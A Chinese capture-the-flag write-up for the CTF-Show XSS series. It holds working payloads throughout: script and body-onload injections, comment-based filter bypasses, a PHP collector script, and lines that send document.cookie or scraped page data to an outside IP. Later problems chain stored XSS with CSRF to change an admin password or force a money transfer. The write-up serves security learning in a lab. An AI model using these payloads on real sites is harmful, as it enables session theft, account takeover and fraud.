CTF-Show-XSS系列
CTF-Show-XSS系列
Problem 1
前置知识
window.open() 方法是 JavaScript 中的一个内置方法,用于在浏览器中打开一个新的窗口或标签页。
更多内容参考:https://blog.csdn.net/weixin_46098577/article/details/130925130
思路
在页面上输入数字1,发现如下三点:
- url上msg参数的值就是输入的内容
- 输入的内容会输出在页面上
- 满足xss的条件,将用户输入的内容进行输出,用户可以控制页面所渲染的内容。
尝试访问链接:
链接:https://69143d7b-b8f9-4095-8209-1ac42f1824c2.challenge.ctf.show/?msg=%3Cscript%3Ealert(1)%3C/script%3E
或在页面上输入:<script>alert(1)</script>
正常执行了该js语句,代表页面存在XSS漏洞。
注:该题目的flag放在了机器人的Cookie当中,攻击者需要构造js语句获取用户的cookie,来获得flag。ctf-show后台会有机器人自动点击你所构造的恶意链接,触发xss,获得该机器人的cookie,从而得到flag。
首先,自己购买一台云服务器,配置好中间件,编写如下脚本:
<?php
$content = $_GET[1];
if(isset($content)){
file_put_contents('/tmp/flag.txt',$content);
}else{
echo 'no input';
}
?>
之后,在输入框中输入如下payload:
<script>window.open("http://120.46.69.195/index.php/?1="+document.cookie)</script>
输入之后,后台机器人就会隔一段时间单击你生成的恶意url,之后就会将flag存在cookie里暴露出来。
得到flag
Problem 2
前置知识
在 IMG 标签中,当给定的图片 URL 地址存在且图片加载完成,则触发onload事件。当给定的图片 URL 地址不存在或网络出错时,则触发onerror事件。
在js中,location.href经常用于页面跳转。
body的onload方法是在整个页面加载完成后触发的方法,可以用来执行一些初始化设置、加载数据、绑定事件等操作。
更多内容参考:https://blog.csdn.net/qross/article/details/125083915
思路
在上一题的基础上,过滤了script标签。我们可以用body标签进行绕过。
注:body标签绕过基本上是通杀,因为body标签是前端非常常用的标签
payload:
<body onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
获得flag
Problem 3
思路
在上一题的基础上,过滤了img标签,我们依然可以使用body标签进行绕过。
payload:
<body onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
获得flag
Problem 4
思路
我们依然可以使用body标签进行绕过。
payload:
<body onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>
<body onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
获得flag
Problem 5
思路
在上一题的基础上,过滤了空格。我们可以使用注释绕过。
payload:
<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>
<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
获得flag
Problem 6
思路
依然采用注释绕过。
payload:
<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>
<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
获得flag
Problem 7
思路
依然采用注释绕过。
payload:
<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>
<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
获得flag
Problem 8
思路
依然采用注释绕过。
payload:
<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>
<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
获得flag
Problem 9
思路
依然采用注释绕过。
payload:
<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>
<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
获得flag
Problem 10
思路
依然采用注释绕过。
payload:
<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>
<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
获得flag
Problem 11
思路
依然采用注释绕过。
payload:
<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>
<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
获得flag
Problem 12
思路
打开页面,发现是一个写信功能。我们的任务就是将:xss写到信里,管理员一旦打开信,就会触发xss,将自己的cookie泄露出去。并且,信是永久存在的,不是一次性的,因此叫做存储型xss。
得到flag
payload:
<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>
<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>
Problem 13
思路
过滤了body标签,没有过滤script标签。
payload:
<script>window.open("http://120.46.69.195/index.php/?1="+document.cookie)</script>
接下来说一下简单的思路:
- 我们要想获得管理员的cookie,就需要让管理员触发xss。
- 管理员可以查看到所有用户的用户名和密码。
- 那么,我们注册用户时,将用户名和密码,全部设置为xss。
- 当管理员查看用户管理页面时,就会触发xss,从而使我们获得管理员的cookie。
- 由于注册用户需要存储在数据库中,因此这个xss为存储型xss。
接下来进行实践:
- 注册账户:用户名和密码均为xss。
- 之后管理员会自动单击用户管理功能,我们可以获得到管理员的cookie
- 虽然可以得到cookie,但是没有看到flag
- 但是,我们可以冒充管理员的身份,来查看用户管理的功能
- 使用burp,访问用户管理页面,进行抓包,填写管理员的cookie
- 最终得到flag
Problem 14
思路
在上一题的基础上,添加了机制:管理员访问完用户管理页面后,立马登出了,导致:虽然可以不停的获取cookie,但是cookie一直失效。
这时候,我们需要修改一下payload,使得当管理员访问用户管理页面时,xss直接将这个页面的内容(flag)拿出来,存储到我们服务器的flag.txt文件中。(不需要拿管理员的cookie了,直接利用xss拿隐私数据)
payload:迭代所有行,如果行包含ctfshow关键字,那么将该值给到远程服务器,进而获得flag。
<script>$('.layui-table-cell').each(function(index,value){{if(value.innerHTML.indexOf('ctfshow') > -1){window.open("http://120.46.69.195/index.php/?1="+value.innerHTML);}}})</script>
Problem 15
思路
这一题相比于上一道题多了一个修改密码的机制。我们使用上一道题的payload是无法进行通杀的。
我们可以注册用户,用户名和密码为xss,使得:管理员触发xss时,管理员的密码被修改。
我们在修改密码时,使用burp来进行抓包:
也就是说,当正在登录的用户触发这个api时,该用户的密码就会被修改。因此,只需要让管理员访问这个url就可以了。
payload:
//管理员地址为127.0.0.1
<script>window.location.href='http://127.0.0.1/api/change.php?p=123'</script>
之后用admin 123来登录管理员账号,抓包访问用户管理页面,最终获得flag。
Problem 16
思路
这道题在上一道题的基础上,修改密码操作从GET提交变为了POST提交。
因此,让管理员触发xss,以post请求发送数据包,从而强制修改管理员密码。
正在修改密码时,抓取的数据包如下:
payload:
<script>$.ajax({url:"/api/change.php",method:"POST",data:{p:"1234"},success:function(response){console.log("success!");}});</script>
注册用户名密码为该xss,管理员在查看用户管理页面时,就会触发该xss,从而修改管理员密码,最终获得flag。
Problem 17
思路
这道题多了一个转账汇款功能,对于转账汇款,我们首先就要想到负值。
- 注册一个新账户
- 登录该账户,初始金额为5元
- 尝试给admin汇款,转账-10000元
- 那么,该账户的钱为:5-(-10000) = 5+10000 = 10005元
- 之后,购买flag,得到flag。
Problem 18
思路
这道题我们尝试使用上一题的思路,转账负值,失败了。
那么,我们可以构造xss,使得当管理员访问用户管理页面时,给我们转账,从而我们就可以购买、获得flag了。
在转账的同时进行抓包:
payload:
<script>$.ajax({url:"/api/amount.php",method:"POST",data:{u:123,a:10000},success:function(response){console.log("success!");}});</script>
登录123账户,发现金额发生了变化
之后购买,得到flag
总结
常用XSS绕过手段和利用
- 反射型和存储型XSS
- script标签触发xss
- body标签绕过,onload属性
- img标签绕过,onerror属性
- 过滤空格,注释绕过。
- 触发xss,获取管理员cookie
- 触发xss,获取管理员页面内容
- xss和csrf配合
- 触发xss,修改管理员密码
- 触发xss,以管理员身份、不同提交方式等执行敏感操作
- xss和业务逻辑漏洞
- 转账为负值
- 触发xss,在管理员未知情的情况下,转账。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!